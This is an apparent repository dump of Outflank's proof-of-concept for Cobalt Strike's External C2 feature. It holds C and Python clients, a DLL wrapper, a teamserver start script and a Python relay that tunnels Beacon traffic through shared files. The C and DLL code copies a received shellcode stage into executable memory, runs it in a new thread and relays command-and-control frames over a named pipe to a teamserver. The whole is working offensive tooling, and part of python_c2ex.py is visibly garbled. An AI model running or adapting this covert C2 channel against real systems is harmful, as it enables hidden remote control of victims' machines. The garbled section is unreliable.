├── Readme.md ├── c2file.c ├── c2file.py ├── c2file_dll.c ├── c2file_dll.h ├── compile.dll.txt ├── externalc2_start.cna └── python_c2ex.py /Readme.md: -------------------------------------------------------------------------------- 1 | ## Synopsis 2 | 3 | Cobalt Strike contains a new / experimental feature called external_c2. This bypasses the mallable profiles and allows the developper to craft it's own channels. 4 | This code is a POC, that in the end appeared to be the solution to a real life problem. 5 | 6 | ## Code content 7 | 8 | - c2file.c: a C implementation of the client (the process in talking to beacon) 9 | - c2file_dll.c, c2file_dll.h, c2file.py: A python implementation of the client (using a dll, the process in talking to beacon) allowing for quick development of complex channels 10 | - python_c2ex.py: The server talking to the external_c2 plugin of teamserver. 11 | - externalc2_start.cna: the script needed to start the external_c2 on teamserver. 12 | 13 | ## Blog 14 | 15 | Read our blog for more info: https://outflank.nl/blog/2017/09/17/blogpost-cobalt-strike-over-external-c2-beacon-home-in-the-most-obscure-ways/ 16 | 17 | ## Installation 18 | 19 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll 20 | 21 | 22 | ## Contributors 23 | 24 | Thanks to @armitagehacker for providing info on external_c2 functionality including C sample code that was essentially to make this work. 25 | Thanks to Marc Smeets (@mramsmeets), author of the blog and the one to implement this POC in a real assignment. 26 | Code written by Mark Bergman (@xychix) but heavily relying on @armitagehacker initial C example. 27 | 28 | ## License 29 | 30 | BSD license 31 | -------------------------------------------------------------------------------- /c2file.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server mostly code from @armitagehacker */ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #define PAYLOAD_MAX_SIZE 512 * 1024 9 | #define BUFFER_MAX_SIZE 1024 * 1024 10 | 11 | 12 | /* read a frame from a handle */ 13 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 14 | DWORD size = 0, temp = 0, total = 0; 15 | /* read the 4-byte length */ 16 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 17 | 18 | /* read the whole thing in */ 19 | while (total < size) { 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | 25 | return size; 26 | } 27 | 28 | /* write a frame to a file */ 29 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) { 30 | DWORD wrote = 0; 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | } 34 | 35 | 36 | HANDLE start_beacon(char * payload, DWORD length){ 37 | /* inject the payload stage into the current process */ 38 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 39 | memcpy(payloadE, payload, length); 40 | printf("Injecting Code, %d bytes\n", length); 41 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 42 | /* 43 | * connect to our Beacon named pipe */ 44 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 45 | while (handle_beacon == INVALID_HANDLE_VALUE) { 46 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 47 | GENERIC_READ | GENERIC_WRITE, 48 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 49 | 50 | } 51 | return(handle_beacon); 52 | } 53 | 54 | void put_file(char *fout,char *data, DWORD length){ 55 | FILE *fo; 56 | fo = fopen(fout,"wb"); 57 | fwrite(data, length, 1, fo); 58 | fclose(fo); 59 | } 60 | 61 | int pop_file(char *fin,char *data, DWORD max){ 62 | FILE *fi; 63 | unsigned long fileLen; 64 | fi = fopen(fin, "rb"); 65 | if (!fi){ 66 | fprintf(stderr, "Unable to open file %s\n", fin); 67 | return(-1); 68 | } 69 | fseek(fi, 0, SEEK_END); 70 | fileLen=ftell(fi); 71 | fseek(fi, 0, SEEK_SET); 72 | if(fileLen+1 > max){ 73 | fprintf(stderr, "Memory error!"); 74 | fclose(fi); 75 | return(-1); 76 | } 77 | fread(data, fileLen, 1, fi); 78 | fclose(fi); 79 | return(fileLen); 80 | } 81 | 82 | off_t fsize(const char *filename) { 83 | struct stat st; 84 | if (stat(filename, &st) == 0) 85 | return st.st_size; 86 | 87 | return -1; 88 | } 89 | 90 | /* the main logic for our client */ 91 | void go(char * name) { 92 | /* xychix ask server for stage */ 93 | /* xychix prepare stage for sending */ 94 | /* 95 | * connect to the External C2 server */ 96 | char fout[128]; 97 | char fin[128]; 98 | int len; 99 | sprintf(fout, "%s.bea", name); 100 | sprintf(fin, "%s.beb", name); 101 | 102 | put_file(fout,"go",2); 103 | while( fsize(fin) <= 0 ){ 104 | Sleep( 2000 ); 105 | } 106 | Sleep( 10000 ); 107 | char * srvpayload = malloc(PAYLOAD_MAX_SIZE); 108 | int srvpayloadLen = pop_file(fin,srvpayload,PAYLOAD_MAX_SIZE-1); 109 | put_file(fin,"",0); 110 | 111 | HANDLE handle_beacon = start_beacon(srvpayload, srvpayloadLen); 112 | 113 | /* setup our buffer */ 114 | char * buffer = (char * ) malloc(BUFFER_MAX_SIZE); 115 | /* 116 | * relay frames back and forth */ 117 | while (TRUE) { 118 | /* read from our named pipe Beacon */ 119 | DWORD read = read_frame(handle_beacon, buffer,BUFFER_MAX_SIZE); 120 | if (read < 0) { 121 | break; 122 | }else{ 123 | printf("got %d bytes from pipe\n",read); 124 | } 125 | 126 | /* write to the External C2 server */ 127 | //send_frame(socket_extc2, buffer, read); 128 | if(read > 1) { 129 | printf("writing %d bytes\n",read); 130 | put_file(fout,buffer,read); 131 | } 132 | 133 | /* read from the External C2 server */ 134 | int size_beb = fsize(fin); 135 | if( size_beb > 0){ 136 | printf("%d bytes waiting\n",size_beb); 137 | read = pop_file(fin, buffer, BUFFER_MAX_SIZE); 138 | if (read < 0) { 139 | break; 140 | }else{ 141 | put_file(fin,"",0); 142 | } 143 | } 144 | 145 | /* write to our named pipe Beacon */ 146 | write_frame(handle_beacon, buffer, read); 147 | Sleep(300); 148 | } 149 | 150 | /* close our handles */ 151 | CloseHandle(handle_beacon); 152 | } 153 | 154 | void main(DWORD argc, char * argv[]) { 155 | /* check our arguments */ 156 | if (argc != 2) { 157 | printf("%s [name]\n", argv[0]); 158 | exit(1); 159 | } 160 | 161 | /* initialize winsock */ 162 | WSADATA wsaData; 163 | WORD wVersionRequested; 164 | wVersionRequested = MAKEWORD(2, 2); 165 | WSAStartup(wVersionRequested, & wsaData); 166 | 167 | /* start our client */ 168 | go(argv[1]); 169 | } 170 | -------------------------------------------------------------------------------- /c2file.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from ctypes import * 3 | from ctypes.wintypes import * 4 | from time import sleep 5 | import sys 6 | import os 7 | 8 | maxlen = 1024*1024 9 | 10 | lib = CDLL('c2file.dll') 11 | #lib = WinDLL('c2file.dll') 12 | 13 | lib.start_beacon.argtypes = [c_char_p,c_int] 14 | lib.start_beacon.restype = POINTER(HANDLE) 15 | def start_beacon(payload): 16 | return(lib.start_beacon(payload,len(payload))) 17 | 18 | lib.read_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 19 | lib.read_frame.restype = c_int 20 | def ReadPipe(hPipe): 21 | mem = create_string_buffer(maxlen) 22 | l = lib.read_frame(hPipe,mem,maxlen) 23 | if l < 0: return(-1) 24 | chunk=mem.raw[:l] 25 | return(chunk) 26 | 27 | lib.write_frame.argtypes = [POINTER(HANDLE),c_char_p,c_int] 28 | lib.write_frame.restype = c_int 29 | def WritePipe(hPipe,chunk): 30 | sys.stdout.write('wp: %s\n'%len(chunk)) 31 | sys.stdout.flush() 32 | print chunk 33 | ret = lib.write_frame(hPipe,c_char_p(chunk),c_int(len(chunk))) 34 | sleep(3) 35 | print "ret=%s"%ret 36 | return(ret) 37 | 38 | #pythonized 39 | def put_file(ffile,data): 40 | f = open(ffile,'wb') 41 | f.write(data) 42 | f.close() 43 | 44 | #pythonized 45 | def get_file(fin): 46 | f = open(fin,'rb') 47 | chunk = f.read() 48 | f.close() 49 | return(chunk) 50 | 51 | #/* the main logic for our client */ 52 | def go(name): 53 | fout = "%s.bea"% name 54 | fin = "%s.beb"% name 55 | 56 | put_file(fout,"go") 57 | put_file(fin,"") 58 | p="" 59 | print "wait for shellcode" 60 | while( len(p) <= 0): 61 | sleep(0.3) 62 | p = get_file(fin) 63 | print "got code, loading" 64 | sleep(2) 65 | put_file(fin,"") 66 | handle_beacon = start_beacon(p) 67 | print "loaded, got handle %s"%handle_beacon 68 | 69 | 70 | while(True): 71 | #sys.stdout.write('.') 72 | #sys.stdout.flush() 73 | sleep(1.5) 74 | chunk = ReadPipe(handle_beacon) 75 | if chunk < 0: 76 | print 'readpipe %d'%len(chunk) 77 | break 78 | else: 79 | print("we've got %d bytes from pipe"%len(chunk)) 80 | if len(chunk) > 1: 81 | print("send to server in %s"%fout) 82 | put_file(fout,chunk) 83 | fsize = os.stat(fin).st_size 84 | fchunk=" " 85 | if( fsize > 0): 86 | print("%d bytes incoming"%fsize) 87 | fchunk = get_file(fin) 88 | put_file(fin,"") 89 | print("writing %s bytes to pipe"%len(fchunk)) 90 | r = WritePipe(handle_beacon, fchunk) 91 | print("wrote %s bytes to pipe"%r) 92 | 93 | if __name__ == '__main__': 94 | if len(sys.argv) > 1: 95 | name = sys.argv[1] 96 | else: 97 | print("%s [name]"% sys.argv[0]) 98 | quit() 99 | go(name) 100 | -------------------------------------------------------------------------------- /c2file_dll.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server based on code from @armitagehacker */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } 54 | -------------------------------------------------------------------------------- /c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /compile.dll.txt: -------------------------------------------------------------------------------- 1 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll 2 | -------------------------------------------------------------------------------- /externalc2_start.cna: -------------------------------------------------------------------------------- 1 | # start the External C2 server and bind to 0.0.0.0:2222 2 | externalc2_start("0.0.0.0", 2222); 3 | -------------------------------------------------------------------------------- /python_c2ex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | import sys 4 | import os 5 | from time import sleep 6 | import struct 7 | 8 | def createSocket(): 9 | d = {} 10 | d['sock'] = socket.create_connection(('192.168.1.51', 2222)) 11 | d['state'] = 1 12 | #sock.setblocking(1) 13 | return (d) 14 | 15 | def recv_frame(sock): 16 | try: 17 | chunk = sock.recv(4) 18 | except: 19 | return("") 20 | if len(chunk) < 4: 21 | return() 22 | slen = struct.unpack('L', len(chunk)) 30 | slen = struct.pack(' 0: 57 | sock = beacons[ffile]['sock'] 58 | print "#%d"%fsize, 59 | sleep(1) 60 | f = open(ffile,'rb') 61 | chunk = f.read() 62 | f.close() 63 | #print "send frame %s, and clear bea"%len(chunk) 64 | send_frame(sock,chunk) 65 | open(ffile, 'w').close() 66 | sleep(1) 67 | #print "recv frame" 68 | ret = recv_frame(sock) 69 | #discard all under 2 bytes 70 | if len(ret) > 1: 71 | print "got %s bytes command"%len(ret) 72 | f = open("%s.beb"%ffile[:-4], 'wb') 73 | f.write(ret) 74 | f.close() 75 | # clear input queue 76 | #let's assume we hit this once and upgrade status 77 | beacons[ffile]['state'] = 2 78 | open(ffile, 'w').close() 79 | elif ffile not in beacons and fsize > 0: 80 | print "N" 81 | beacons[ffile] = createSocket() 82 | #we need a stager and socket 83 | ret = getStage(beacons[ffile]['sock']) 84 | if len(ret) > 0: 85 | print "got %s bytes command"%len(ret) 86 | f = open(ffile,'rb') 87 | f = open("%s.beb"%ffile[:-4], 'wb') 88 | f.write(ret) 89 | f.close() 90 | # clear input queue 91 | open(ffile, 'w').close() 92 | elif ffile in beacons and fsize == 0: 93 | #print "ff niet" 94 | if beacons[ffile]['state'] == 2: 95 | #let's check for new commands waiting on socket just pump some in to get a response 96 | print "0", 97 | send_frame(beacons[ffile]['sock'],"\0") 98 | ret = recv_frame(beacons[ffile]['sock']) 99 | if len(ret) > 1: 100 | print "got %s bytes command"%len(ret) 101 | f = open("%s.beb"%ffile[:-4], 'wb') 102 | f.write(ret) 103 | f.close() 104 | # clear input queue 105 | #open(ffile, 'w').close() 106 | else: 107 | #old files delete them 108 | try: 109 | os.remove(ffile) 110 | os.remove("%s.beb"%ffile[:-4]) 111 | break 112 | except: 113 | break 114 | print ".", 115 | sleep(1) 116 | 117 | 118 | --------------------------------------------------------------------------------